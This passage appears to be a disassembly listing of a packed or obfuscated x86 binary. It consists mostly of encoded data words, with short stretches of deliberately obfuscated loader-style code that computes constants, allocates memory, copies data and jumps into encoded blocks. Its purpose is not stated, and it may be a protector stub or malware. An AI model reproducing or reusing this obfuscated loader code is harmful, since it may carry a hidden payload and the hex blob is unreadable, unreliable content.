0C87D9168h, 0D85AF03Eh dd 0DB14DF38h, 885FE02Ah, 0CA48CD36h, 0E1846C43h, 0C3620644h dd 3CBF0A4Fh, 0F51C15B7h, 0E78006C4h, 2D5C995Ch, 0D99886C7h dd 17542BA6h, 0E267E37Ch, 0C72D5C1Bh, 0B6701076h, 0FC69D63Eh dd 12B9C18Eh, 9029C775h, 0B9AAC38Dh, 291E9737h, 0A4000000h dd 9B22A73Eh, 0CF99216h, 26F0506Fh, 86E7BD82h, 1278C4F4h dd 8B0BCE75h, 0AF4C72Ch, 0A767DD47h, 0E2F1FC69h, 51000000h dd 0F72BDC1Bh, 0B52B7FE9h, 9465EA71h, 0EB3EC810h, 0B142DB5Dh dd 6F8421C8h, 799CF80h, 5C409916h, 0A91F3EC8h, 3C4D4619h dd 982421BEh, 0F0D857F0h, 2DC266D0h, 3D009F42h, 4CE98866h dd 0E1F877FEh, 803EC895h, 0E3E1660Ah, 233EC8B8h, 4B0EB154h dd 42DB7A74h, 0A426C5B1h, 0FECB1204h, 9185F177h, 93A21BDDh dd 3F68FD00h, 2DD14F77h, 681EA52Ah, 63E1C4F6h, 3FE613E0h dd 0CD0F9DA0h, 0BC5F9882h, 79B2723h, 0A74A260Bh, 87265029h dd 27BC5CEEh, 0F7D3A34Ah, 0C149E6E1h, 85AEEECh, 4A2A0000h dd 0FBFB10AFh, 4C26BD5Ch, 0FEED02A5h, 422FC463h, 4359FC9Bh dd 1DBC638Eh, 6807AAC6h, 24C36293h, 5AFDA0CFh, 9766ED68h dd 0EA38E9F5h, 0DE1B4101h, 0D97615E0h, 0D50EF71h, 0F1953C36h dd 0D17013DCh, 39DC1B89h, 7518579Ch, 284E4D2h, 0DB610000h dd 1D1DBCB9h, 2DF39316h, 9B22A73Eh, 7D409916h, 0A91F3EC8h dd 6906A5D0h, 75FA3DE1h, 0C4F575DFh, 162DCA40h, 0C72C85C3h dd 0F08D343Dh, 7C55F003h, 0C231CE75h, 0D3A310B7h, 0BA644E7Ch dd 0AA174DB7h, 0F41FC69h, 0C1000002h, 0C87D6F6Bh, 0A623BA3Eh dd 0FC20A01Fh, 49BFC4EAh, 5A02EDC2h, 16FC04D5h, 6BED5BC7h dd 953837CCh, 2C71EF8h, 5E4BED7Bh, 30DAA623h, 5046CD90h dd 0E33D2B26h, 8B2B9165h, 987543C6h, 77F42h, 821D4F00h dd 4FEE08DFh, 781F5BB0h, 56F102D9h, 0AE551CB3h, 9D34660Bh dd 758A2DD4h, 0A239D87Bh, 3E9534D3h, 0F7EB8E31h, 0F406D75Ch dd 905938E9h, 39DC1BB2h, 7518579Ch, 9CB383D8h, 0B85F9A69h dd 11B4C318h, 0B23CB46Eh, 7F1A0284h, 0AB000001h, 7D1C5926h dd 0C871E5F4h, 350E7C3Eh, 48029B36h, 0E86DA2A8h, 0C87D926Bh dd 0B757ED3Eh, 15B25522h, 0DA1711DEh, 32B09A33h, 83469B8Fh dd 59498300h, 5FE2C4F5h, 2CA119E0h, 901278C7h, 76814EF7h dd 70103AD3h, 2CA616EBh, 4A25FFC7h, 699068E0h, 36EEFCh dd 3E540000h, 8AFCBA7h, 0B17E038Ah, 0C28825C4h, 0AE1B191Eh dd 46C4C4F4h, 0B2479AA9h, 0B6C1C72Ch, 7F797A13h, 4E1843DCh dd 11EBD503h, 809CD43Eh, 0B9BAFC69h, 48000000h, 0B239DC1Bh dd 0D66F12DDh, 0A3BD474h, 7DF10887h, 0FA903EC8h, 0D1788156h dd 0B148C74Ah, 0D03EC87Dh, 0F396613Ah, 0F750F05Ah, 0D477814Eh dd 9A6F0F3Bh, 0D61DBA5Dh, 0CC53F699h, 3ECB8FE6h, 31B45720h dd 180250ABh, 0EE3C4F3h, 0A7A33CE3h, 6FF62807h, 0C74CD35Ah dd 9A3B0924h, 62FB96D5h, 1FDE65E8h, 72C72A24h, 0CF56D4h dd 58AF52F9h, 0D4A67A21h, 0E049E795h, 62A8B4Fh, 0FAFA0000h dd 4B2BC05Fh, 0FCF60DACh, 4E1DB255h, 0B2BF14B3h, 0D3096C0Bh dd 0AD4CF3FEh, 0D8771A56h, 0B453F203h, 0AAD501Fh, 27B63DD8h dd 3A38E9F6h, 0DE1BD171h, 0BE959837h, 9A6F0FB2h, 0F17BA5Dh dd 94E5DF6Dh, 20CCA249h, 0E98C6B80h, 0BF628D62h, 0AB842426h dd 4198179Ah, 203EC890h, 6F106AAh, 657CFD55h, 0FC8333F2h dd 3EC809FDh, 9F74F694h, 0BAE2CD3h, 2DDBh, 966D3500h, 13DFB45Bh dd 3837CC6Ch, 34410E95h, 7DCA1390h, 1FA53EC8h, 0A24604A1h dd 0EA8D6A89h, 2D44EA4Dh, 8D2CCFA8h, 1E5Dh, 0DF6DB300h dd 3ED5A871h, 0BF14B4B0h, 0D3700DB0h, 3EC89509h, 0F94DB47h dd 6807E6E0h, 1BFF47EAh, 0A99C39DCh, 7365F323h, 0AAE90C8h dd 66FAC118h, 0C9150EB4h, 1FA427A9h, 0C4EA13F9h, 0AA79FC8Ah dd 70872ACDh, 0CB4BE487h, 0A3CF4576h, 397BC357h, 47AC9FA9h dd 81FF738Dh, 0AA4925FAh, 96993D0Dh, 862D441Bh, 575A5DE2h dd 972D3D35h, 36303F14h, 900F9639h, 0CD764B49h, 9D20A228h dd 6509A8C6h, 0A34631C6h, 14B50C0Ah, 0BDB3C291h, 0ED910FB2h dd 449BE56Ah, 6EDC374Bh, 0A6E41E9Ah, 35A56A5Dh, 4E4h, 7A1DB8B4h dd 47EA8965h, 8423CAB0h, 3EE17C6Fh, 8629D0A9h, 0E910C1E3h dd 30489F42h, 0D815EA8Dh, 36419639h, 43C2F493h, 0E9F13DBCh dd 0E75B5438h, 9639DC1Bh, 0FA933641h, 0D85BFEF9h, 7D07D65Dh dd 0CC533EC8h, 3EC87D0Dh, 0E066E664h, 0AA74E740h, 0B25522A7h dd 89BE4A0Fh, 849AFF2Dh, 0D8AD50CEh, 684D812h, 0C230A862h dd 6D260284h, 9F000000h, 615C9D22h, 4A233EC8h, 8E4A3E70h dd 26B654D0h, 79D6240Eh, 349ED7Fh, 605A966Dh, 0D770F299h dd 9C21D373h, 9ED9A62Dh, 48E862FBh, 0B24E7E05h, 63E1C4F4h dd 43E213E0h, 0CE5C9FA4h, 99D6C72Ch, 717C53F6h, 88BD4BD2h dd 0C1860042h, 86BF58F8h, 8F14C0B9h, 0C72C7B4Eh, 8825A321h dd 7BA736BDh, 4CBAC72Ch, 9BC2ACEh, 16000004h, 0B239DC1Bh dd 7D29B02Fh, 0C2483EC8h, 1EE051Eh, 0E1D54F50h, 88A7E0Ch dd 4230B569h, 8F169433h, 90333D12h, 0E7A16BF0h, 25B3C4F5h dd 4C596391h, 2A26CADFh, 267B2845h, 943F5266h, 0B29835B3h dd 0D155A42Bh, 9E2CC72Dh, 971C991Ch, 0C72DD146h, 98D6AB19h dd 4AEE5CF9h, 0D18F52F1h, 6C89C72Dh, 0B0C330CDh, 0C26C7815h dd 0ED9781AFh, 61C0F862h, 4996FC6Ah, 0EC000000h, 9B22A73Eh dd 0F4AE1E14h, 335C1C4h, 45CE6B41h, 550F619Ah, 7A09FC5h dd 9EA7D1BFh, 70F2701Eh, 2BD816EDh, 0A1D21F26h, 1093158Bh dd 2CF84A93h, 0FF9F25C7h, 0F8D81D26h, 5745C72Ch, 3736AE18h dd 0B620FC69h, 0A2000000h, 0AF34DC1Bh, 3EC87D2Eh, 0A845C341h dd 0EE872E4Bh, 0AE47EA05h, 0E8872A45h, 0C8799163h, 0C366913Eh dd 0A6A0CF24h, 5AA320CCh, 35C13781h, 36CF51CFh, 0ED7059E0h dd 0AA24466h, 0EB1173Bh, 8104C51Ch, 9E412F04h, 3DC24901h dd 0C72CA6BCh, 8C9135D3h, 3D120F1Dh, 0E0AF36D4h, 8ACF7219h dd 113A5BFEh, 22C62BB0h, 29FDA4CDh, 43C21875h, 0D51CBE4Fh dd 0A5000002h, 768D2CC7h, 0A136D978h, 788F32D9h, 0AA41E07Bh dd 0E48928CFh, 3FE613BEh, 8A2D4BA0h, 46E510E7h, 80234CA3h dd 0E966EDE1h, 38E9F310h, 1BC47E6Fh, 439837DEh, 6BEE9134h dd 2CF8ADDh, 28C899CAh, 22A73E22h, 0AE1E149Bh, 0E5BAC4F4h dd 8BC7670Ah, 161D52EFh, 189A0624h, 7F31C47Fh, 0FEEFC72Ch dd 89C81951h, 0AA28B38Ah, 0E0CE60Dh, 0AAA03DE4h, 0B3558F28h dd 36D9179Ch, 492FB199h, 20C3AD82h, 0F923C387h, 1CD40C76h dd 7DF8FC69h, 2C1AE7F6h, 0BCB57AC7h, 0BAF39315h, 0C3h dd 6BE86D48h, 3EC87D92h, 99C631DDh, 0F57535FFh, 1ABDBA8Fh dd 0F3966176h, 0B960995Ah, 8BDD271Ch, 2A453EC8h, 0E413E887h dd 0EB72A441h, 0D2D857DEh, 8DC4F5B0h, 0D8E551E9h, 0E466FF9Eh dd 874D1758h, 2DB46609h, 0EC9A199Ch, 6F3D1335h, 747D52D9h dd 5FF4A7BFh, 0D6EEF87Ah, 0F7109CA4h, 0A34A3066h, 40C2400Ah dd 650CE6BDh, 3FDE82C8h, 562AD1A8h, 43CD6D46h, 0BD5D7D12h dd 8D000001h, 0CE25C45Fh, 895E01A0h, 0D027CA71h, 926908A3h dd 3C21C067h, 0A74E2BA6h, 6205F308h, 0AE4D28BFh, 58FBF40Bh dd 17E05B9h, 38E9F2F8h, 1BECD697h, 959837DEh, 730CB3BEh dd 0D5A237D7h, 7D57A62Dh, 9C2A3EC8h, 6DB37B1Eh, 7D926BE8h dd 57ED3EC8h, 0B25522B7h, 6E11DE15h, 983B34CBh, 0B50C9015h dd 930EC3EAh, 0F0FA0388h, 2F953EC8h, 0D960B68Fh, 57966DF0h dd 0DE1D1FB8h, 0A2DDC651h, 0C4FEF71h, 0F5295587h, 0C760E6C4h dd 0DC3CC043h, 38D68CA1h, 8BE650F0h, 0BF46E906h, 0C3CBD42h dd 0B553C72Dh, 0B900F211h, 6C068D10h, 0EF3D1003h, 0BB54F302h dd 0D174118Fh, 0AE52F502h, 0E27B1E59h, 2486C955h, 2CA92C9Dh dd 0DE771657h, 4416E06Ch, 0A815EA7Ah, 0B4214308h, 0BE3A373Fh dd 8BD7F831h, 0E07F0122h, 0AC49EC0Bh, 0EE872647h, 0AE47EA05h dd 0E8852C45h, 2B591806h, 2BB0BF6Dh, 8128524Ch, 45E466E4h dd 0B63D8CD1h, 5A2D8339h, 912E9C29h, 17E49562h, 0CC0391CDh dd 5D962FB1h, 0A350ED94h, 74962FD6h, 17D9074Ah, 0B90062EDh dd 3B088D10h, 36FB9B3Ah, 23617B84h, 0E2F22397h, 8E0D18D6h dd 24B96D0Ch, 0CCA31EA5h, 20C3ACA2h, 0BF39FEA2h, 0A02593F7h dd 89668D2Ah, 0C3AC43E6h, 9B189D20h, 0E59FF142h, 8823501Dh dd 76CD660Ah, 534FA31Ah, 78ABC668h, 8727CEABh, 3FE28572h dd 0A92CCFA8h, 5FF89FDAh, 1F24BEBh, 56F500F2h, 25CF3BD4h dd 2AAC54Ah, 0AA33E2Dh, 0A722BB40h, 0C73DB66Fh, 0C76007F2h dd 8D620583h, 0ED906862h, 0DD1BE86Bh, 0D4AD9D3Ah, 0C25BFB9Ah dd 318h, 0BC867200h, 0A13ED91Bh, 0E5822552h, 0A740DF0Eh dd 0E481244Ch, 0A23BE20Fh, 0E4812851h, 0A441DC0Fh, 0E37C234Fh dd 0AE47E610h, 22F36824h, 14890000h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ebp mov eax, 5F7EE1h not eax sub eax, 3DB96E09h not eax push ecx mov ecx, 4F471205h xor ecx, 78B07F63h sub eax, ecx pop ecx push esp mov ebp, [esp] add esp, 4 push 23A3h mov [esp], edx mov edx, 8 add edx, ebp mov [edx], eax pop edx mov ebp, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp mov eax, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_53531C ; --------------------------------------------------------------------------- dw 61A8h dd 0A481E06Fh, 219170B8h, 0FFC50306h, 6D43FAE0h, 53A54236h dd 0BF348B64h, 75DB215Bh, 0DDFB072Bh, 0BE658B13h, 13CE343Fh dd 0B4C6937Eh, 1BC5D77Ah, 4F346A71h, 95C1F64Fh, 47267D41h dd 0EC28B878h, 0BFF9E32h, 0BA2E7D5Ch, 0D840D012h, 40A00929h dd 0B6D16503h, 9DF0B802h, 0BC573659h, 2C5E452Dh, 3FAA423Ch dd 8B239C38h, 507DF017h, 20040D26h, 0EE82Fh, 7A140000h dd 62EA22BFh, 0B44C9D8Eh, 0BF8B30FDh, 0FCDE8166h, 81F959BFh dd 6762C1h, 0C02BF500h, 99B960h, 0B70F1B17h, 34FF61C1h dd 7E908h, 0F33D0000h, 282A5613h, 81F95F9Dh, 0E27415C7h dd 0F28B666Ch, 7A22C781h, 0E4BB382Fh, 816BBF26h, 0DEC798C7h dd 89F58A49h, 0F860013Ch, 11E8h, 12372D00h, 2B6658h, 0DE320947h dd 9259F66Eh, 840F3C69h, 0 dd 12E9615Eh, 8A000000h, 0E5DCD468h, 49FB9E8Eh, 168276C7h dd 832FA93Ch, 2E88339h, 86BABB66h, 0F8814848h, 0FFFF9944h dd 0FF84850Fh, 0CA81FFFFh, 67BAD131h, 94128D8Dh, 6A0621h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 3420D6C3h, 952AD556h, 6660F98Bh, 8956F08Bh, 1B31B58Dh dd 89615806h, 1B24298Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1604h, 0C3574700h, 299FCC64h, 1B077195h dd 5958906h, 0C7061B26h, 1B076585h, 737806h, 0B70F6000h dd 28E0FD0h, 60000000h, 85C76161h, 61B13D1h, 0 dd 0B5FFFB8Bh, 61B0DCDh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ch, 0FEC35242h, 0EFA4240Ch, 7980345Ah, 1855958Bh dd 95FF061Bh, 61B2F85h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Bh, 8DC35141h, 0A2F94831h, 0FCA14FA3h, 95FF006Ah dd 61B2205h, 6BEBC08Bh, 0E9CBA3FEh, 89788FF5h, 93850AFh dd 318A1C1Dh, 8CAE6F4Fh, 0F3E1E286h, 0A88FA597h, 33CF275Ah dd 5842E9FEh, 438A536h, 0CE95153Dh, 958EEA26h, 21432FE9h dd 1E69F48Fh, 0AB6E4DAEh, 0C9D30E9Eh, 0A8F896D8h, 0B8315DADh dd 8D51ECA2h, 0BEBFA67Fh, 281957E6h, 3CA4E3E2h, 0D02ADD7h dd 61BF4F81h, 67261554h, 737D13D0h, 0EB7A9F9Dh, 8, 92F69F00h dd 4C1E974h, 6D680000h, 0E9062195h, 0FFF9E98Ch, 2195E668h dd 0E982E906h, 5C68FFF9h, 0E9062197h, 0FFF9E978h, 42E5806Ch dd 7F22C1ADh, 4CEB9268h, 7619B4B7h, 4EF19861h, 2158792Bh dd 0F800D77Ah, 501DB255h, 0FEF90EB1h, 8B0ABC5Bh, 0E9E9F504h dd 1FA38C38h, 9E37DE1Bh, 0D8771A55h, 0A5D39F26h, 63E56502h dd 5F5563E0h, 9226C4F5h, 0D00B639Dh, 0CB64E6F1h, 2C7B6578h dd 5DF492C7h, 68B77DF3h, 302DBFCh, 9C670000h, 3B8ED354h dd 6B0AEBB8h, 7FA607DFh, 12B68BC0h, 0D52E900Fh, 43C1C4F5h dd 0F3AFB54Eh, 0E37AC44Bh, 12E05FE6h, 6D387550h, 6C7F54D7h dd 721634D1h, 0E1E87D99h, 73E1D55Ah, 0A06F3290h, 935D36D5h dd 53F357F0h, 15EA71D7h, 439837DAh, 80BD9134h, 0A2404C7Ah dd 34ECD0Dh, 0BEAE0000h, 7F6F8423h, 0D0AA41E0h, 82718629h dd 0C6B348E7h, 0C7DD801Fh, 0A948EF0Ah, 0E4832652h, 0A03FDE0Fh dd 0E6892C4Bh, 0BD251F4h, 6638E9E8h, 0A73EBD85h, 45149B22h dd 15C4EAC9h, 0B341CB87h, 0B53A9DB5h, 0C7162824h, 0AB4BCD3Bh dd 4E8F14AFh, 21C71628h, 5AA320A3h, 35C71628h, 0F5CA51CFh dd 1DB255FCh, 3310AD54h, 0C71628AFh, 11E58867h, 49DBB4E2h dd 0D5F7E3ACh, 35000002h, 0E6FD9C37h, 31C66908h, 0E8FFA249h dd 3AD1700Bh, 54F9983Fh, 0CF76834Eh, 0FA9DDB30h, 0D6758057h dd 30D39C33h, 39B65D91h, 38E9E8A0h, 3E54EEBFh, 149B22A7h dd 0C4EAC945h, 3411AE1Ch, 2B3FC5A8h, 690DEC77h, 165611E4h dd 3FDE0FC7h, 71224DA6h, 418936D9h, 24C13F7Dh, 0B3938E6h dd 0A7D19E25h, 0ADF6B04h, 7BA549F0h, 5D528AF4h, 0B904FC63h dd 81000001h, 0F1E485FBh, 25110651h, 0B8BF4BFAh, 6508E726h dd 600082C8h, 39DC1BDAh, 7518579Ch, 309920D2h, 59E426ADh dd 1177C4F5h, 0A10ACF74h, 9F3C72Ch, 333C1346h, 0B353F790h dd 69920339h, 2A55FCh, 3EAD0000h, 149B22A7h, 0C4F4AE1Eh dd 99AA43C1h, 0C72CB244h, 127CD3B1h, 0FC6980DAh, 0E97Ch dd 78C0900h, 0C72CBEF6h, 0D55BFB89h, 6E2BDC1Bh, 4F1AFA24h dd 0B63DDA58h, 0B9114BBh, 95047E74h, 0CD6C8A21h, 0C3981A30h dd 0D07A13B2h, 13DC1730h, 531CD770h, 954A11B0h, 0A13EC82Ch dd 0C2AEA4D2h, 46C4861Fh, 0E8FDA1A9h, 3AD9150Fh, 0A82BAD9Dh dd 7F5A0924h, 51F5F67Fh, 0D0F940B2h, 0D47B764Dh, 0EC6F0F3Bh dd 0F69BDC67h, 0A2299FC4h, 0DC1DA21Fh, 0B3C72AE3h, 0E34D8C15h dd 9824C72Ah, 0BC7F3D19h, 0A040C25Ah, 0D794189Dh, 0F173D153h dd 71885D01h, 0A9D027CAh, 0C8252E02h, 8E1F49E7h, 15F4Ch dd 12ADBF00h, 0BF5E986Fh, 8AFCB20h, 0C6619269h, 0FEA5CC23h dd 0EDE4F65Bh, 25BA5D04h, 0F209A84Bh, 2EC56403h, 0C7FB9E41h dd 0EA36C74Ch, 604938E9h, 5C966DE2h, 0B5BC11B5h, 9416B9B7h dd 6911DEF5h, 0C87D13EAh, 5AD86E3Eh, 0DC1B6FB7h, 15DDB239h dd 8271CA6Eh, 0FB2FD275h, 63E06366h, 0C4F4B2ABh, 3ADF2FBDh dd 0B08DC887h, 8713D363h, 7202628Ch, 8350D2Fh, 5EDA7E89h dd 638E65E8h, 0C3161DBCh, 8FC72CDEh, 0B576AD09h, 8EAA0542h dd 8CAF56B7h, 0A6CCA523h, 44E466FFh, 9B18C0AFh, 0C72CCA42h dd 8C08ABC4h, 78C06EFEh, 300C5EA8h, 1F80FB2h, 0A91DBD5Ah dd 73000000h, 0B659966Dh, 12F16A26h, 6B0BF967h, 1EA524B9h dd 0EAFC24A1h, 0B04DBBC4h, 0EE913443h, 0B83BDE19h, 0CE871A34h dd 0D80D0E97h, 4B4EDE70h, 0F64FEF79h, 0C25F704Dh, 54CD251h dd 35D47780h, 0AA29D19Eh, 0B9E33953h, 931A982Eh, 0CD0C930Eh dd 0A4B9E339h, 395C9D26h, 8733B9E3h, 5EB61CB2h, 0F29614D7h dd 0FE99DA19h, 2FCEA877h, 0FB14B496h, 0C05D00F8h, 4A14433h dd 0EF1D34EAh, 1A552A31h, 222DD777h, 0AC2FD29Dh, 53F39AD7h dd 0AD501FB4h, 33B03510h, 0B9E3ACAAh, 319F3FC5h, 0Ch, 38DF6DA7h dd 6234B087h, 863C26CAh, 0A13ED91Bh, 0E5822552h, 0A740DF0Eh dd 0E481244Ch, 0A23BE20Fh, 0E4812851h, 0A441DC0Fh, 0E37C234Fh dd 0AE47E610h, 4EC8324h, 52241C89h, 0C281E289h, 4, 4EA81h dd 14870000h, 2C895C24h, 67016824h, 0C890000h, 94AF6824h dd 2C8B0621h, 4C48124h, 83000000h, 248904ECh, 24048124h dd 4, 8BB5359h, 1000000h, 0BA52CBh, 1000000h, 5A2A89DAh dd 2434FF5Bh, 4C48159h, 0FF000000h, 815D2434h, 4C4h, 0E4DAE900h dd 0A428FFF9h, 0B8AE7B23h, 62198E0h, 0E0FFC503h, 27F25FA0h dd 619DEBF2h, 4D222AE5h, 0F668C44h, 73FD26A3h, 41BDCB89h dd 755FA490h, 5F80B35Ah, 3706F8FFh, 3BCA2CFAh, 7C3FC027h dd 7E5D612Fh, 6B131771h, 0BECAE42h, 42ABAF10h, 0DE8h, 4E315B00h dd 0ACF4A49Bh, 0A29F058h, 0B70FC3CDh, 7E958CEh, 19000000h dd 0A2F2378Dh, 0C0817A2Eh, 5DE0h, 0BA63EB80h, 1748h, 5EF530FFh dd 12E9h, 3F752000h, 0F2B6AE79h, 0F4E05C2Bh, 3A6DBD8h dd 81A26631h, 0EDDBDDC6h, 81B0B713h, 0E78C3CC6h, 81CF8A57h dd 0ADB3DEEEh, 17870F3Dh, 0E9000000h, 12h, 1B5172DDh, 0AD07E373h dd 0D91CFA32h, 853519BAh, 30895E28h, 2E43E981h, 0E8833A74h dd 0DB816603h, 8B4894FBh, 1EA83CAh, 20850Fh, 830F0000h dd 8, 28D0Fh, 59530000h, 1CE9h, 0E61C5900h, 9EFE955h, 5623512Ah dd 71E9E0BAh, 85FFFFFFh, 498AE438h, 72C8AB10h, 0FE8AEh dd 0F77B0000h, 0ACF015D6h, 1AF25F14h, 0DCB239C2h, 0CEBF0F6Bh dd 0CE816658h, 0C0816C6Dh, 67C7h, 0D08B6060h, 0B8BA61F8h dd 61681EB0h, 68h, 0DB816000h, 4CFE21C1h, 0BE9h, 0EFC6AB00h dd 0AE296CECh, 496487E6h, 810F5A61h, 8, 890F56h, 5E000000h dd 81103C8Bh, 10ECC2C7h, 9FE9814Dh, 810A5C92h, 0BADBE4F7h dd 1B810F55h, 0E8000000h, 13h, 842E24EEh, 63C6E795h, 8B73C3FAh dd 774FC930h, 0B394F02Dh, 0EF815994h, 0C9AB1D4h, 8B103C89h dd 4860FDFh, 56000000h, 8359CE8Ah, 4A4A02EAh, 7E92F381h dd 0FA811802h, 0FFFF98F0h, 0FF9E850Fh, 0D980FFFFh, 8E81Fh dd 60B30000h, 947B51D2h, 0BF0FABAEh, 61BA5EFBh, 81167D6Fh dd 71C7C6h, 0AE900h, 72750000h, 0FDA033B9h, 0AC4235C4h dd 0BBh, 0D68B6600h, 661E0C8Bh, 816890BAh, 3B805CC1h, 0D081665Ah dd 0E981451Eh, 2946DB16h, 0DEAEE781h, 0C1812B89h, 162B9D26h dd 0E9605351h, 5, 84343E0Ah, 8E0F2Bh, 61000000h, 1E048F5Ah dd 5840Fh, 80570000h, 0B65FEADEh, 4EB8390h, 820Fh, 0FB810000h dd 0FFFF8ECCh, 0FFA2850Fh dd 800FFFFFh, 5, 0D68B6650h, 5E85Fh, 0B96A0000h, 5FA77C7Bh dd 81CE8B66h, 5926C7h, 68F800h, 60000000h, 16850Fh, 11E90000h dd 0D7000000h, 308D88BDh, 6382657Bh, 29E5C9D6h, 0EC6693D5h dd 86D2C981h, 58610E2Ah, 75B53EB9h, 3834FF18h, 0F95BCB8Bh dd 0CA8FF381h, 81F9004Ah, 3E1791F3h, 37EB8160h, 0B22E577Bh dd 0BF0F5375h, 7048FD2h, 4C63B860h, 810F1C00h, 16h, 11E9h dd 0D7CD5600h, 0B5B131F4h, 39D1DE7Fh, 30AD4D67h, 0F61DEDBh dd 588h, 0EA816600h, 0E881CA68h, 4DAE3ECFh, 7E9h, 0F385CE00h dd 98FD8CFBh, 3ECBC081h, 0F8814DAEh, 0FFFFA7D4h, 2E850Fh dd 0EE80000h, 21000000h, 6A9529A5h, 0AD29B4Ch, 7EFEEE58h dd 0C2816638h, 0E959C72Fh, 2Ch, 0F7F6C7Ah, 0CD059B35h dd 781AB004h, 0A2E360EAh, 0E9C88B66h, 0FFFFFF55h, 0F3BC1FA6h dd 0B368BF00h, 0AA03B177h, 4EF5CE62h, 0EB620917h, 0BD83C08Bh dd 61B23D1h, 83097500h, 1B3129BDh, 19740006h, 0C08B5350h dd 421B8h, 0A1858900h, 8D061B2Dh, 1DA64D9Dh, 5BD3FF06h dd 29BD8358h, 61B31h, 53501774h, 421B8h, 0A1858900h, 8D061B2Dh dd 1DA33C9Dh, 5BD3FF06h, 8BC08B58h, 1B1F159Dh, 9D85C606h dd 56061B23h, 0A8B85268h, 11B5FF9Ch, 8D061B2Fh, 1E704685h dd 6AD0FF06h, 10006804h, 0B5FF0000h, 61B1D2Dh, 0D0FF006Ah dd 850FC085h, 0Dh, 0B8h, 48D8D00h, 0FF061B71h, 8BC88BE1h dd 3C4003C3h, 0F805h, 0C508B00h, 0BD83D303h, 61B0C51h dd 0E840F00h, 8B000000h, 1B0C519Dh, 55858B06h, 89061B03h dd 8D525103h, 1B413E85h, 8BD0FF06h, 8BF18BFAh, 0F3C88BD1h dd 9D85C6A4h, 56061B23h, 1F6D3968h, 11B5FFD4h, 8D061B2Fh dd 1E704685h, 68D0FF06h, 8000h, 0FF52006Ah, 83C08BD0h dd 1B23D1BDh, 9750006h, 3129BD83h, 7400061Bh, 8B535019h dd 421B8C0h, 85890000h, 61B2131h, 0A6B49D8Dh, 0D3FF061Dh dd 0BD83585Bh, 61B3129h, 50177400h, 421B853h, 85890000h dd 61B2131h, 0A3559D8Dh, 0D3FF061Dh, 0C08B585Bh, 0C519D8Dh dd 38B061Bh, 840FC00Bh, 7, 5B8B038Bh, 0B8188904h, 4B41h dd 2C599D8Dh, 0B8061Bh, 89000013h, 1B11ED85h, 0E806h, 5580000h dd 0Dh, 0E90389h, 13h, 4BFh dup(0) dd 0E8000000h, 0Ch, 3A555124h, 4020E2BFh, 0DBA8C64Ah, 5E9h dd 7016EE00h, 665A0F75h, 0C281DA8Bh, 5DD7h, 9E9h, 84999900h dd 26A1667Eh, 98BE3D4Bh, 81048D02h, 8D15D3F6h, 92BF6604h dd 5132FFFEh, 0BE8h, 0F8E7D700h, 0CD6BBAE3h, 0A906F31Ah dd 0C03CF781h, 595F0307h, 5820F58h, 66000000h, 65CCC381h dd 0C736F081h, 820F79A3h, 0Ch, 6810Fh, 800F0000h, 0 dd 0AEB5E881h, 0B2B53ACCh, 0E6DEF081h, 8B662F60h, 5E950CEh dd 0F2000000h, 47A8F2B5h, 8166028Fh, 8336CCCBh, 4EF904EAh dd 0FF93850Fh, 8166FFFFh, 554D5CF7h, 5E75FDEDh, 0A476F67Ah dd 0BC56E669h, 4068FD49h, 6FCEFD23h, 780FFD23h, 0F06DFD23h dd 355FFD23h, 0D735FD23h, 0A612FD23h, 1EF3FD23h, 42EEFD23h dd 6F15FD23h, 78E2FD23h, 0F247FD23h, 35A0FD23h, 0D781FD23h dd 0A562FD23h, 1C2EFD23h, 4072FD23h, 259DFD23h, 2295358Ah dd 4A76D6A2h, 0BD5CDE71h, 5A5CF44Bh, 2775FD7Ah, 9775F572h dd 0CB74FD79h, 0ED73FD78h, 0F374F57Dh, 7874FC7Bh, 0BC75FC7Bh dd 5E75FD7Ah, 9676FD7Ah, 7E75A466h, 0CB75A466h, 0E475FD7Ah dd 0F374FC7Bh, 9074FC7Bh, 0BC75F8B2h, 4CF0701Ah, 0A673DCCCh dd 0B6C7B4FFh, 0E3F0707Ch, 6C73DCCCh, 0D3C7F4FFh, 1FF0707Ch dd 3573DCCCh, 7FC7B8FFh, 0E9F0707Ch, 1E73DCCFh, 0EAC7F0FFh dd 60F0707Ch, 7B73DCCFh, 58C7ECFFh, 9FF0707Ch, 0D773DCCEh dd 0EC7E8FFh, 0A2F0707Ch, 4273DCCEh, 0C4C7E4FFh, 0B9F0707Ch dd 0F073DCCEh, 9DC7E0FFh, 0F8F0707Ch, 0A673DCCEh, 0B6C7D4FFh dd 0B9F0707Ch, 6C73DCCEh, 0D3C7DCFFh, 0E8F0707Ch, 3573DCCEh dd 7FC7D8FFh, 89F0707Ch, 1E73DCCEh, 0EAC7D4FFh, 5F0707Ch dd 7B73DCCEh, 58C7C4FFh, 43F0707Ch, 0D773DCCEh, 0EC7C0FFh dd 0B5F0707Ch, 4273DCCFh, 0C4C7BCFFh, 99F0707Ch, 0F073DCCFh dd 9DC7D0FFh, 0FCF0707Ch, 0A673DCCFh, 0B6C7CCFFh, 0F6F0707Ch dd 6C73DCCCh, 0D3C7C8FFh, 0ECF0767Ch, 3573E67Bh, 7FC77FFFh dd 56F0767Ch, 1E73E674h, 0EAC77BFFh, 0B0B69C7Ch, 0F29D11F1h dd 2375FD7Ah, 0FE317FBh, 0D525FB5Bh, 0ADFDF53Fh, 91544FFBh dd 0CFB73422h, 0B723AC7Ah, 1A20AD29h, 7975FD7Ah, 0B987C27h dd 0A073DCC9h, 0EC7F5FFh, 9FC87D7Ch, 0CF73DCC8h, 0E4C5B409h dd 0F9B54B75h, 863589BAh, 9DC77BEFh, 96FEBD7Ch, 2F7A452Bh dd 28AFD7Ah, 0CD544FFCh, 577C48F7h, 0C6F8FB5Bh, 4B9D50FCh dd 0CF75FD7Eh, 5E76456Fh, 0BA8AFD7Ah, 91544FFCh, 797C48F7h dd 0D1F8FB5Bh, 228A50FCh, 87BC1F23h, 9DC7F5F7h, 52DA07Ch dd 